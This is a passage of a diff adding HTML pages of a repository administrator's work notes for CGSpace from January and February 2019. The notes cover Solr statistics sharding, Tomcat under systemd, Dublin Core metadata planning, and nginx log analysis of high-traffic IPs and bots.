+    at org.apache.solr.update.DefaultSolrCoreState.createMainIndexWriter(DefaultSolrCoreState.java:279)
+    at org.apache.solr.update.DefaultSolrCoreState.getIndexWriter(DefaultSolrCoreState.java:111)
+    at org.apache.solr.core.SolrCore.openNewSearcher(SolrCore.java:1528)
+    ... 33 more
+
    +
  • I found some threads on StackOverflow etc discussing this and several suggested increasing the address space for the shell with ulimit
    • +
  • I added ulimit -v unlimited to the /etc/default/tomcat7 and restarted Tomcat and now Solr is working again:
    • +
+

Solr stats working

+ +
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2019"
+1442874
+
+real    0m17.161s
+user    0m16.205s
+sys     0m2.396s
+

2019-01-17

+
    +
  • Send reminder to Atmire about purchasing the MQM module
    • +
  • Trying to decide the solid action points for CGSpace on the CG Core 2.0 metadata…
    • +
  • It’s difficult to decide some of these because the current CG Core 2.0 document does not provide guidance or rationale (yet)!
    • +
  • Also, there is not a good Dublin Core reference (or maybe I just don’t understand?)
    • +
  • Several authoritative documents on Dublin Core appear to be: + +
    • +
  • And what is the relationship between DC and DCTERMS?
    • +
  • DSpace uses DCTERMS in the metadata it embeds in XMLUI item views!
    • +
  • We really need to look at this more carefully and see the impacts that might be made from switching core fields like languages, abstract, authors, etc
    • +
  • We can check WorldFish and MELSpace repositories to see what effects these changes have had on theirs because they have already adopted some of these changes…
    • +
  • I think I understand the difference between DC and DCTERMS finally: DC is the original set of fifteen elements and DCTERMS is the newer version that was supposed to address much of the drawbacks of the original with regards to digital content
    • +
  • We might be able to use some proper fields for citation, abstract, etc that are part of DCTERMS
    • +
  • To make matters more confusing, there is also “qualified Dublin Core” that uses the original fifteen elements of legacy DC and qualifies them, like dc.date.accessioned + +
    • +
  • So we should be trying to use DCTERMS where possible, unless it is some internal thing that might mess up DSpace (like dates)
    • +
  • “Elements 1.1” means legacy DC
    • +
  • Possible action list for CGSpace: +
      +
    • dc.description.abstract → dcterms.abstract
      • +
    • dc.description.version → cg.peer-reviewed (or cg.peer-review-status?)
      • +
    • dc.description.sponsorship → cg.contributor.donor
      • +
    • dc.contributor.author → dc.creator
      • +
    • dc.language.iso → dcterms.language
      • +
    • cg.identifier.url → dcterms.identifier
      • +
    • dc.identifier.citation → dcterms.bibliographicCitation
      • +
    • dc.relation.ispartofseries → dcterms.isPartOf
      • +
    • cg.targetaudience → dcterms.audience
      • +
    +
    • +
+

2019-01-19

+
    +
  • +

    There’s no official set of Dublin Core qualifiers so I can’t tell if things like dc.contributor.author that are used by DSpace are official

    +
    • +
  • +

    I found a great presentation from 2015 by the Digital Repository of Ireland that discusses using MARC Relator Terms with Dublin Core elements

    +
    • +
  • +

    It seems that dc.contributor.author would be a supported term according to this Library of Congress list linked from the Dublin Core website

    +
    • +
  • +

    The Library of Congress document specifically says:

    +

    These terms conform with the DCMI Abstract Model and may be used in DCMI application profiles. DCMI endorses their use with Dublin Core elements as indicated.

    +
    • +
+

2019-01-20

+
    +
  • That’s weird, I logged into DSpace Test (linode19) and it says it has been up for 213 days:
    • +
+
# w
+ 04:46:14 up 213 days,  7:25,  4 users,  load average: 1.94, 1.50, 1.35
+
+

2019-01-21

+
    +
  • Investigating running Tomcat 7 on Ubuntu 18.04 with the tarball and a custom systemd package instead of waiting for our DSpace to get compatible with Ubuntu 18.04’s Tomcat 8.5
    • +
  • I could either run with a simple tomcat7.service like this:
    • +
+
[Unit]
+Description=Apache Tomcat 7 Web Application Container
+After=network.target
+[Service]
+Type=forking
+ExecStart=/path/to/apache-tomcat-7.0.92/bin/startup.sh
+ExecStop=/path/to/apache-tomcat-7.0.92/bin/shutdown.sh
+User=aorth
+Group=aorth
+[Install]
+WantedBy=multi-user.target
+
    +
  • Or try to use adapt a real systemd service like Arch Linux’s:
    • +
+
[Unit]
+Description=Tomcat 7 servlet container
+After=network.target
+
+[Service]
+Type=forking
+PIDFile=/var/run/tomcat7.pid
+Environment=CATALINA_PID=/var/run/tomcat7.pid
+Environment=TOMCAT_JAVA_HOME=/usr/lib/jvm/default-runtime
+Environment=CATALINA_HOME=/usr/share/tomcat7
+Environment=CATALINA_BASE=/usr/share/tomcat7
+Environment=CATALINA_OPTS=
+Environment=ERRFILE=SYSLOG
+Environment=OUTFILE=SYSLOG
+
+ExecStart=/usr/bin/jsvc \
+            -Dcatalina.home=${CATALINA_HOME} \
+            -Dcatalina.base=${CATALINA_BASE} \
+            -Djava.io.tmpdir=/var/tmp/tomcat7/temp \
+            -cp /usr/share/java/commons-daemon.jar:/usr/share/java/eclipse-ecj.jar:${CATALINA_HOME}/bin/bootstrap.jar:${CATALINA_HOME}/bin/tomcat-juli.jar \
+            -user tomcat7 \
+            -java-home ${TOMCAT_JAVA_HOME} \
+            -pidfile /var/run/tomcat7.pid \
+            -errfile ${ERRFILE} \
+            -outfile ${OUTFILE} \
+            $CATALINA_OPTS \
+            org.apache.catalina.startup.Bootstrap
+
+ExecStop=/usr/bin/jsvc \
+            -pidfile /var/run/tomcat7.pid \
+            -stop \
+            org.apache.catalina.startup.Bootstrap
+
+[Install]
+WantedBy=multi-user.target
+
    +
  • I see that jsvc and libcommons-daemon-java are both available on Ubuntu so that should be easy to port
    • +
  • We probably don’t need Eclipse Java Bytecode Compiler (ecj)
    • +
  • I tested Tomcat 7.0.92 on Arch Linux using the tomcat7.service with jsvc and it works… nice!
    • +
  • I think I might manage this the same way I do the restic releases in the Ansible infrastructure scripts, where I download a specific version and symlink to some generic location without the version number
    • +
  • I verified that there is indeed an issue with sharded Solr statistics cores on DSpace, which will cause inaccurate results in the dspace-statistics-api:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?indent=on&rows=0&q=type:2+id:11576&fq=isBot:false&fq=statistics_type:view' | grep numFound
+<result name="response" numFound="33" start="0">
+$ http 'http://localhost:3000/solr/statistics-2018/select?indent=on&rows=0&q=type:2+id:11576&fq=isBot:false&fq=statistics_type:view' | grep numFound
+<result name="response" numFound="241" start="0">
+
    +
  • I opened an issue on the GitHub issue tracker (#10)
    • +
  • I don’t think the SolrClient library we are currently using supports these type of queries so we might have to just do raw queries with requests
    • +
  • The pysolr library says it supports multicore indexes, but I am not sure it does (or at least not with our setup):
    • +
+
import pysolr
+solr = pysolr.Solr('http://localhost:3000/solr/statistics')
+results = solr.search('type:2', **{'fq': 'isBot:false AND statistics_type:view', 'facet': 'true', 'facet.field': 'id', 'facet.mincount': 1, 'facet.limit': 10, 'facet.offset': 0, 'rows': 0})
+print(results.facets['facet_fields'])
+{'id': ['77572', 646, '93185', 380, '92932', 375, '102499', 372, '101430', 337, '77632', 331, '102449', 289, '102485', 276, '100849', 270, '47080', 260]}
+
    +
  • If I double check one item from above, for example 77572, it appears this is only working on the current statistics core and not the shards:
    • +
+
import pysolr
+solr = pysolr.Solr('http://localhost:3000/solr/statistics')
+results = solr.search('type:2 id:77572', **{'fq': 'isBot:false AND statistics_type:view'})
+print(results.hits)
+646
+solr = pysolr.Solr('http://localhost:3000/solr/statistics-2018/')
+results = solr.search('type:2 id:77572', **{'fq': 'isBot:false AND statistics_type:view'})
+print(results.hits)
+595
+
    +
  • So I guess I need to figure out how to use join queries and maybe even switch to using raw Python requests with JSON
    • +
  • This enumerates the list of Solr cores and returns JSON format:
    • +
+
http://localhost:3000/solr/admin/cores?action=STATUS&wt=json
+
    +
  • I think I figured out how to search across shards, I needed to give the whole URL to each other core
    • +
  • Now I get more results when I start adding the other statistics cores:
    • +
+
$ http 'http://localhost:3000/solr/statistics/select?&indent=on&rows=0&q=*:*' | grep numFound<result name="response" numFound="2061320" start="0">
+$ http 'http://localhost:3000/solr/statistics/select?&shards=localhost:8081/solr/statistics-2018&indent=on&rows=0&q=*:*' | grep numFound
+<result name="response" numFound="16280292" start="0" maxScore="1.0">
+$ http 'http://localhost:3000/solr/statistics/select?&shards=localhost:8081/solr/statistics-2018,localhost:8081/solr/statistics-2017&indent=on&rows=0&q=*:*' | grep numFound
+<result name="response" numFound="25606142" start="0" maxScore="1.0">
+$ http 'http://localhost:3000/solr/statistics/select?&shards=localhost:8081/solr/statistics-2018,localhost:8081/solr/statistics-2017,localhost:8081/solr/statistics-2016&indent=on&rows=0&q=*:*' | grep numFound
+<result name="response" numFound="31532212" start="0" maxScore="1.0">
+
    +
  • I should be able to modify the dspace-statistics-api to check the shards via the Solr core status, then add the shards parameter to each query to make the search distributed among the cores
    • +
  • I implemented a proof of concept to query the Solr STATUS for active cores and to add them with a shards query string
    • +
  • A few things I noticed: +
      +
    • Solr doesn’t mind if you use an empty shards parameter
      • +
    • Solr doesn’t mind if you have an extra comma at the end of the shards parameter
      • +
    • If you are searching multiple cores, you need to include the base core in the shards parameter as well
      • +
    • For example, compare the following two queries, first including the base core and the shard in the shards parameter, and then only including the shard:
      • +
    +
    • +
+
$ http 'http://localhost:8081/solr/statistics/select?indent=on&rows=0&q=type:2+id:11576&fq=isBot:false&fq=statistics_type:view&shards=localhost:8081/solr/statistics,localhost:8081/solr/statistics-2018' | grep numFound
+<result name="response" numFound="275" start="0" maxScore="12.205825">
+$ http 'http://localhost:8081/solr/statistics/select?indent=on&rows=0&q=type:2+id:11576&fq=isBot:false&fq=statistics_type:view&shards=localhost:8081/solr/statistics-2018' | grep numFound
+<result name="response" numFound="241" start="0" maxScore="12.205825">
+

2019-01-22

+
    +
  • Release version 0.9.0 of the dspace-statistics-api to address the issue of querying multiple Solr statistics shards
    • +
  • I deployed it on DSpace Test (linode19) and restarted the indexer and now it shows all the stats from 2018 as well (756 pages of views, intead of 6)
    • +
  • I deployed it on CGSpace (linode18) and restarted the indexer as well
    • +
  • Linode sent an alert that CGSpace (linode18) was using high CPU this afternoon, the top ten IPs during that time were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "22/Jan/2019:1(4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    155 40.77.167.106
+    176 2003:d5:fbda:1c00:1106:c7a0:4b17:3af8
+    189 107.21.16.70
+    217 54.83.93.85
+    310 46.174.208.142
+    346 83.103.94.48
+    360 45.5.186.2
+    595 154.113.73.30
+    716 196.191.127.37
+    915 35.237.175.180
+
    +
  • 35.237.175.180 is known to us
    • +
  • I don’t think we’ve seen 196.191.127.37 before. Its user agent is:
    • +
+
Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 UBrowser/7.0.185.1002 Safari/537.36
+
    +
  • Interestingly this IP is located in Addis Ababa…
    • +
  • Another interesting one is 154.113.73.30, which is apparently at IITA Nigeria and uses the user agent:
    • +
+
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
+

2019-01-23

+
    +
  • Peter noticed that some goo.gl links in our tweets from Feedburner are broken, for example this one from last week:
    • +
+ + + +
    +
  • The shortened link is goo.gl/fb/VRj9Gq and it shows a “Dynamic Link not found” error from Firebase:
    • +
+

Dynamic Link not found

+
    +
  • +

    Apparently Google announced last year that they plan to discontinue the shortner and transition to Firebase Dynamic Links in March, 2019, so maybe this is related…

    +
    • +
  • +

    Very interesting discussion of methods for running Tomcat under systemd

    +
    • +
  • +

    We can set the ulimit options that used to be in /etc/default/tomcat7 with systemd’s LimitNOFILE and LimitAS (see the systemd.exec man page)

    +
      +
    • Note that we need to use infinity instead of unlimited for the address space
      • +
    +
    • +
  • +

    Create accounts for Bosun from IITA and Valerio from ICARDA / CGMEL on DSpace Test

    +
    • +
  • +

    Maria Garruccio asked me for a list of author affiliations from all of their submitted items so she can clean them up

    +
    • +
  • +

    I got a list of their collections from the CGSpace XMLUI and then used an SQL query to dump the unique values to CSV:

    +
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'affiliation') AND resource_type_id = 2 AND resource_id IN (select item_id from collection2item where collection_id IN (select resource_id from handle where handle in ('10568/35501', '10568/41728', '10568/49622', '10568/56589', '10568/56592', '10568/65064', '10568/65718', '10568/65719', '10568/67373', '10568/67731', '10568/68235', '10568/68546', '10568/69089', '10568/69160', '10568/69419', '10568/69556', '10568/70131', '10568/70252', '10568/70978'))) group by text_value order by count desc) to /tmp/bioversity-affiliations.csv with csv;
+COPY 1109
+
    +
  • Send a mail to the dspace-tech mailing list about the OpenSearch issue we had with the Livestock CRP
    • +
  • Linode sent an alert that CGSpace (linode18) had a high load this morning, here are the top ten IPs during that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "23/Jan/2019:0(4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    222 54.226.25.74
+    241 40.77.167.13
+    272 46.101.86.248
+    297 35.237.175.180
+    332 45.5.184.72
+    355 34.218.226.147
+    404 66.249.64.155
+   4637 205.186.128.185
+   4637 70.32.83.92
+   9265 45.5.186.2
+
    +
  • +

    I think it’s the usual IPs:

    +
      +
    • 45.5.186.2 is CIAT
      • +
    • 70.32.83.92 is CCAFS
      • +
    • 205.186.128.185 is CCAFS or perhaps another Macaroni Bros harvester (new ILRI website?)
      • +
    +
    • +
  • +

    Following up on the thumbnail issue that we had in 2018-12

    +
    • +
  • +

    It looks like the two items with problematic PDFs both have thumbnails now:

    + +
    • +
  • +

    Just to make sure these were not uploaded by the user or something, I manually forced the regeneration of these with DSpace’s filter-media:

    +
    • +
+
$ schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace filter-media -v -f -i 10568/98390
+$ schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace filter-media -v -f -i 10568/98391
+
+

2019-01-24

+
    +
  • I noticed Ubuntu’s Ghostscript 9.26 works on some troublesome PDFs where Arch’s Ghostscript 9.26 doesn’t, so the fix for the first/last page crash is not the patch I found yesterday
    • +
  • Ubuntu’s Ghostscript uses another patch from Ghostscript git (upstream bug report)
    • +
  • I re-compiled Arch’s ghostscript with the patch and then I was able to generate a thumbnail from one of the troublesome PDFs
    • +
  • Before and after:
    • +
+
$ identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+zsh: abort (core dumped)  identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+$ identify Food\ safety\ Kenya\ fruits.pdf\[0\]
+Food safety Kenya fruits.pdf[0]=>Food safety Kenya fruits.pdf PDF 612x792 612x792+0+0 16-bit sRGB 64626B 0.000u 0:00.000
+identify: CorruptImageProfile `xmp' @ warning/profile.c/SetImageProfileInternal/1747.
+
    +
  • I reported it to the Arch Linux bug tracker (61513)
    • +
  • I told Atmire to go ahead with the Metadata Quality Module addition based on our 5_x-dev branch (657)
    • +
  • Linode sent alerts last night to say that CGSpace (linode18) was using high CPU last night, here are the top ten IPs from the nginx logs around that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "23/Jan/2019:(18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    305 3.81.136.184
+    306 3.83.14.11
+    306 52.54.252.47
+    325 54.221.57.180
+    378 66.249.64.157
+    424 54.70.40.11
+    497 47.29.247.74
+    783 35.237.175.180
+   1108 66.249.64.155
+   2378 45.5.186.2
+
    +
  • 45.5.186.2 is CIAT and 66.249.64.155 is Google… hmmm.
    • +
  • Linode sent another alert this morning, here are the top ten IPs active during that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "24/Jan/2019:0(4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    360 3.89.134.93
+    362 34.230.15.139
+    366 100.24.48.177
+    369 18.212.208.240
+    377 3.81.136.184
+    404 54.221.57.180
+    506 66.249.64.155
+   4642 70.32.83.92
+   4643 205.186.128.185
+   8593 45.5.186.2
+
    +
  • Just double checking what CIAT is doing, they are mainly hitting the REST API:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "24/Jan/2019:" | grep 45.5.186.2 | grep -Eo "GET /(handle|bitstream|rest|oai)/" | sort | uniq -c | sort -n
+
+

2019-01-25

+
    +
  • A little bit more work on getting Tomcat to run from a tarball on our Ansible infrastructure playbooks +
      +
    • I tested by doing a Tomcat 7.0.91 installation, then switching it to 7.0.92 and it worked… nice!
      • +
    • I refined the tasks so much that I was confident enough to deploy them on DSpace Test and it went very well
      • +
    • Basically I just stopped tomcat7, created a dspace user, removed tomcat7, chown’d everything to the dspace user, then ran the playbook
      • +
    • So now DSpace Test (linode19) is running Tomcat 7.0.92… w00t
      • +
    • Now we need to monitor it for a few weeks to see if there is anything we missed, and then I can change CGSpace (linode18) as well, and we’re ready for Ubuntu 18.04 too!
      • +
    +
    • +
+

2019-01-27

+
    +
  • Linode sent an email that the server was using a lot of CPU this morning, and these were the top IPs in the web server logs at the time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "27/Jan/2019:0(6|7|8)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    189 40.77.167.108
+    191 157.55.39.2
+    263 34.218.226.147
+    283 45.5.184.2
+    332 45.5.184.72
+    608 5.9.6.51
+    679 66.249.66.223
+   1116 66.249.66.219
+   4644 205.186.128.185
+   4644 70.32.83.92
+
    +
  • I think it’s the usual IPs: +
      +
    • 70.32.83.92 is CCAFS
      • +
    • 205.186.128.185 is CCAFS or perhaps another Macaroni Bros harvester (new ILRI website?)
      • +
    +
    • +
+

2019-01-28

+
    +
  • Udana from WLE asked me about the interaction between their publication website and their items on CGSpace +
      +
    • There is an item that is mapped into their collection from IWMI and is missing their cg.identifier.wletheme metadata
      • +
    • I told him that, as far as I remember, when WLE introduced Phase II research themes in 2017 we decided to infer theme ownership from the collection hierarchy and we created a WLE Phase II Research Themes subCommunity
      • +
    • Perhaps they need to ask Macaroni Bros about the mapping
      • +
    +
    • +
  • Linode alerted that CGSpace (linode18) was using too much CPU again this morning, here are the active IPs from the web server log at the time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "28/Jan/2019:0(6|7|8)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     67 207.46.13.50
+    105 41.204.190.40
+    117 34.218.226.147
+    126 35.237.175.180
+    203 213.55.99.121
+    332 45.5.184.72
+    377 5.9.6.51
+    512 45.5.184.2
+   4644 205.186.128.185
+   4644 70.32.83.92
+
    +
  • There seems to be a pattern with 70.32.83.92 and 205.186.128.185 lately!
    • +
  • Every morning at 8AM they are the top users… I should tell them to stagger their requests…
    • +
  • I signed up for a VisualPing of the PostgreSQL JDBC driver download page to my CGIAR email address +
      +
    • Hopefully this will one day alert me that a new driver is released!
      • +
    +
    • +
  • Last night Linode sent an alert that CGSpace (linode18) was using high CPU, here are the most active IPs in the hours just before, during, and after the alert:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "28/Jan/2019:(17|18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    310 45.5.184.2
+    425 5.143.231.39
+    526 54.70.40.11
+   1003 199.47.87.141
+   1374 35.237.175.180
+   1455 5.9.6.51
+   1501 66.249.66.223
+   1771 66.249.66.219
+   2107 199.47.87.140
+   2540 45.5.186.2
+
    +
  • Of course there is CIAT’s 45.5.186.2, but also 45.5.184.2 appears to be CIAT… I wonder why they have two harvesters?
    • +
  • 199.47.87.140 and 199.47.87.141 is TurnItIn with the following user agent:
    • +
+
TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)
+

2019-01-29

+
    +
  • Linode sent an alert about CGSpace (linode18) CPU usage this morning, here are the top IPs in the web server logs just before, during, and after the alert:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "29/Jan/2019:0(3|4|5|6|7)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    334 45.5.184.72
+    429 66.249.66.223
+    522 35.237.175.180
+    555 34.218.226.147
+    655 66.249.66.221
+    844 5.9.6.51
+   2507 66.249.66.219
+   4645 70.32.83.92
+   4646 205.186.128.185
+   9329 45.5.186.2
+
    +
  • 45.5.186.2 is CIAT as usual…
    • +
  • 70.32.83.92 and 205.186.128.185 are CCAFS as usual…
    • +
  • 66.249.66.219 is Google…
    • +
  • I’m thinking it might finally be time to increase the threshold of the Linode CPU alerts +
      +
    • I adjusted the alert threshold from 250% to 275%
      • +
    +
    • +
+

2019-01-30

+
    +
  • Got another alert from Linode about CGSpace (linode18) this morning, here are the top IPs before, during, and after the alert:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "30/Jan/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    273 46.101.86.248
+    301 35.237.175.180
+    334 45.5.184.72
+    387 5.9.6.51
+    527 2a01:4f8:13b:1296::2
+   1021 34.218.226.147
+   1448 66.249.66.219
+   4649 205.186.128.185
+   4649 70.32.83.92
+   5163 45.5.184.2
+
    +
  • I might need to adjust the threshold again, because the load average this morning was 296% and the activity looks pretty normal (as always recently)
    • +
+

2019-01-31

+
    +
  • Linode sent alerts about CGSpace (linode18) last night and this morning, here are the top IPs before, during, and after those times:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "30/Jan/2019:(16|17|18|19|20)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    436 18.196.196.108
+    460 157.55.39.168
+    460 207.46.13.96
+    500 197.156.105.116
+    728 54.70.40.11
+   1560 5.9.6.51
+   1562 35.237.175.180
+   1601 85.25.237.71
+   1894 66.249.66.219
+   2610 45.5.184.2
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "31/Jan/2019:0(2|3|4|5|6)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    318 207.46.13.242
+    334 45.5.184.72
+    486 35.237.175.180
+    609 34.218.226.147
+    620 66.249.66.219
+   1054 5.9.6.51
+   4391 70.32.83.92
+   4428 205.186.128.185
+   6758 85.25.237.71
+   9239 45.5.186.2
+
    +
  • 45.5.186.2 and 45.5.184.2 are CIAT as always
    • +
  • 85.25.237.71 is some new server in Germany that I’ve never seen before with the user agent:
    • +
+
Linguee Bot (http://www.linguee.com/bot; bot@linguee.com)
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-02/index.html b/docs/2019-02/index.html new file mode 100644 index 000000000..0bf90c4db --- /dev/null +++ b/docs/2019-02/index.html @@ -0,0 +1,1398 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2019

+

+ + in + Notes + + +

+
+

2019-02-01

+
    +
  • Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!
    • +
  • The top IPs before, during, and after this latest alert tonight were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "01/Feb/2019:(17|18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    245 207.46.13.5
+    332 54.70.40.11
+    385 5.143.231.38
+    405 207.46.13.173
+    405 207.46.13.75
+   1117 66.249.66.219
+   1121 35.237.175.180
+   1546 5.9.6.51
+   2474 45.5.186.2
+   5490 85.25.237.71
+
    +
  • 85.25.237.71 is the “Linguee Bot” that I first saw last month
    • +
  • The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase
    • +
  • There were just over 3 million accesses in the nginx logs last month:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2019"
+3018243
+
+real    0m19.873s
+user    0m22.203s
+sys     0m1.979s
+
+

2019-02-02

+
    +
  • Another alert from Linode about CGSpace (linode18) this morning, here are the top IPs in the web server logs before, during, and after that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Feb/2019:0(1|2|3|4|5)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    284 18.195.78.144
+    329 207.46.13.32
+    417 35.237.175.180
+    448 34.218.226.147
+    694 2a01:4f8:13b:1296::2
+    718 2a01:4f8:140:3192::2
+    786 137.108.70.14
+   1002 5.9.6.51
+   6077 85.25.237.71
+   8726 45.5.184.2
+
    +
  • 45.5.184.2 is CIAT and 85.25.237.71 is the new Linguee bot that I first noticed a few days ago
    • +
  • I will increase the Linode alert threshold from 275 to 300% because this is becoming too much!
    • +
  • I tested the Atmire Metadata Quality Module (MQM)’s duplicate checked on the some WLE items that I helped Udana with a few months ago on DSpace Test (linode19) and indeed it found many duplicates!
    • +
+

2019-02-03

+
    +
  • This is seriously getting annoying, Linode sent another alert this morning that CGSpace (linode18) load was 377%!
    • +
  • Here are the top IPs before, during, and after that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    325 85.25.237.71
+    340 45.5.184.72
+    431 5.143.231.8
+    756 5.9.6.51
+   1048 34.218.226.147
+   1203 66.249.66.219
+   1496 195.201.104.240
+   4658 205.186.128.185
+   4658 70.32.83.92
+   4852 45.5.184.2
+
    +
  • 45.5.184.2 is CIAT, 70.32.83.92 and 205.186.128.185 are Macaroni Bros harvesters for CCAFS I think
    • +
  • 195.201.104.240 is a new IP address in Germany with the following user agent:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:62.0) Gecko/20100101 Firefox/62.0
+
    +
  • This user was making 20–60 requests per minute this morning… seems like I should try to block this type of behavior heuristically, regardless of user agent!
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "03/Feb/2019" | grep 195.201.104.240 | grep -o -E '03/Feb/2019:0[0-9]:[0-9][0-9]' | uniq -c | sort -n | tail -n 20
+     19 03/Feb/2019:07:42
+     20 03/Feb/2019:07:12
+     21 03/Feb/2019:07:27
+     21 03/Feb/2019:07:28
+     25 03/Feb/2019:07:23
+     25 03/Feb/2019:07:29
+     26 03/Feb/2019:07:33
+     28 03/Feb/2019:07:38
+     30 03/Feb/2019:07:31
+     33 03/Feb/2019:07:35
+     33 03/Feb/2019:07:37
+     38 03/Feb/2019:07:40
+     43 03/Feb/2019:07:24
+     43 03/Feb/2019:07:32
+     46 03/Feb/2019:07:36
+     47 03/Feb/2019:07:34
+     47 03/Feb/2019:07:39
+     47 03/Feb/2019:07:41
+     51 03/Feb/2019:07:26
+     59 03/Feb/2019:07:25
+
    +
  • At least they re-used their Tomcat session!
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=195.201.104.240' dspace.log.2019-02-03 | sort | uniq | wc -l
+1
+
    +
  • This user was making requests to /browse, which is not currently under the existing rate limiting of dynamic pages in our nginx config + +
    • +
  • Run all system updates on linode20 and reboot it +
      +
    • This will be the new AReS repository explorer server soon
      • +
    +
    • +
+

2019-02-04

+
    +
  • Generate a list of CTA subjects from CGSpace for Peter:
    • +
+
dspace=# \copy (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=124 GROUP BY text_value ORDER BY COUNT DESC) to /tmp/cta-subjects.csv with csv header;
+COPY 321
+
    +
  • Skype with Michael Victor about CKM and CGSpace
    • +
  • Discuss the new IITA research theme field with Abenet and decide that we should use cg.identifier.iitatheme
    • +
  • This morning there was another alert from Linode about the high load on CGSpace (linode18), here are the top IPs in the web server logs before, during, and after that time:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "04/Feb/2019:0(5|6|7|8|9)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    589 2a01:4f8:140:3192::2
+    762 66.249.66.219
+    889 35.237.175.180
+   1332 34.218.226.147
+   1393 5.9.6.51
+   1940 50.116.102.77
+   3578 85.25.237.71
+   4311 45.5.184.2
+   4658 205.186.128.185
+   4658 70.32.83.92
+
    +
  • At this rate I think I just need to stop paying attention to these alerts—DSpace gets thrashed when people use the APIs properly and there’s nothing we can do to improve REST API performance!
    • +
  • Perhaps I just need to keep increasing the Linode alert threshold (currently 300%) for this host?
    • +
+

2019-02-05

+
    +
  • Peter sent me corrections and deletions for the CTA subjects and as usual, there were encoding errors with some accentsÁ in his file
    • +
  • In other news, it seems that the GREL syntax regarding booleans changed in OpenRefine recently, so I need to update some expressions like the one I use to detect encoding errors to use toString():
    • +
+
or(
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b4.*/)),
+  isNotNull(value.match(/.*\u007e.*/))
+).toString()
+
+
$ ./fix-metadata-values.py -i 2019-02-04-Correct-65-CTA-Subjects.csv -f cg.subject.cta -t CORRECT -m 124 -db dspace -u dspace -p 'fuu' -d
+$ ./delete-metadata-values.py -i 2019-02-04-Delete-16-CTA-Subjects.csv -f cg.subject.cta -m 124 -db dspace -u dspace -p 'fuu' -d
+
    +
  • I applied them on DSpace Test and CGSpace and started a full Discovery re-index:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
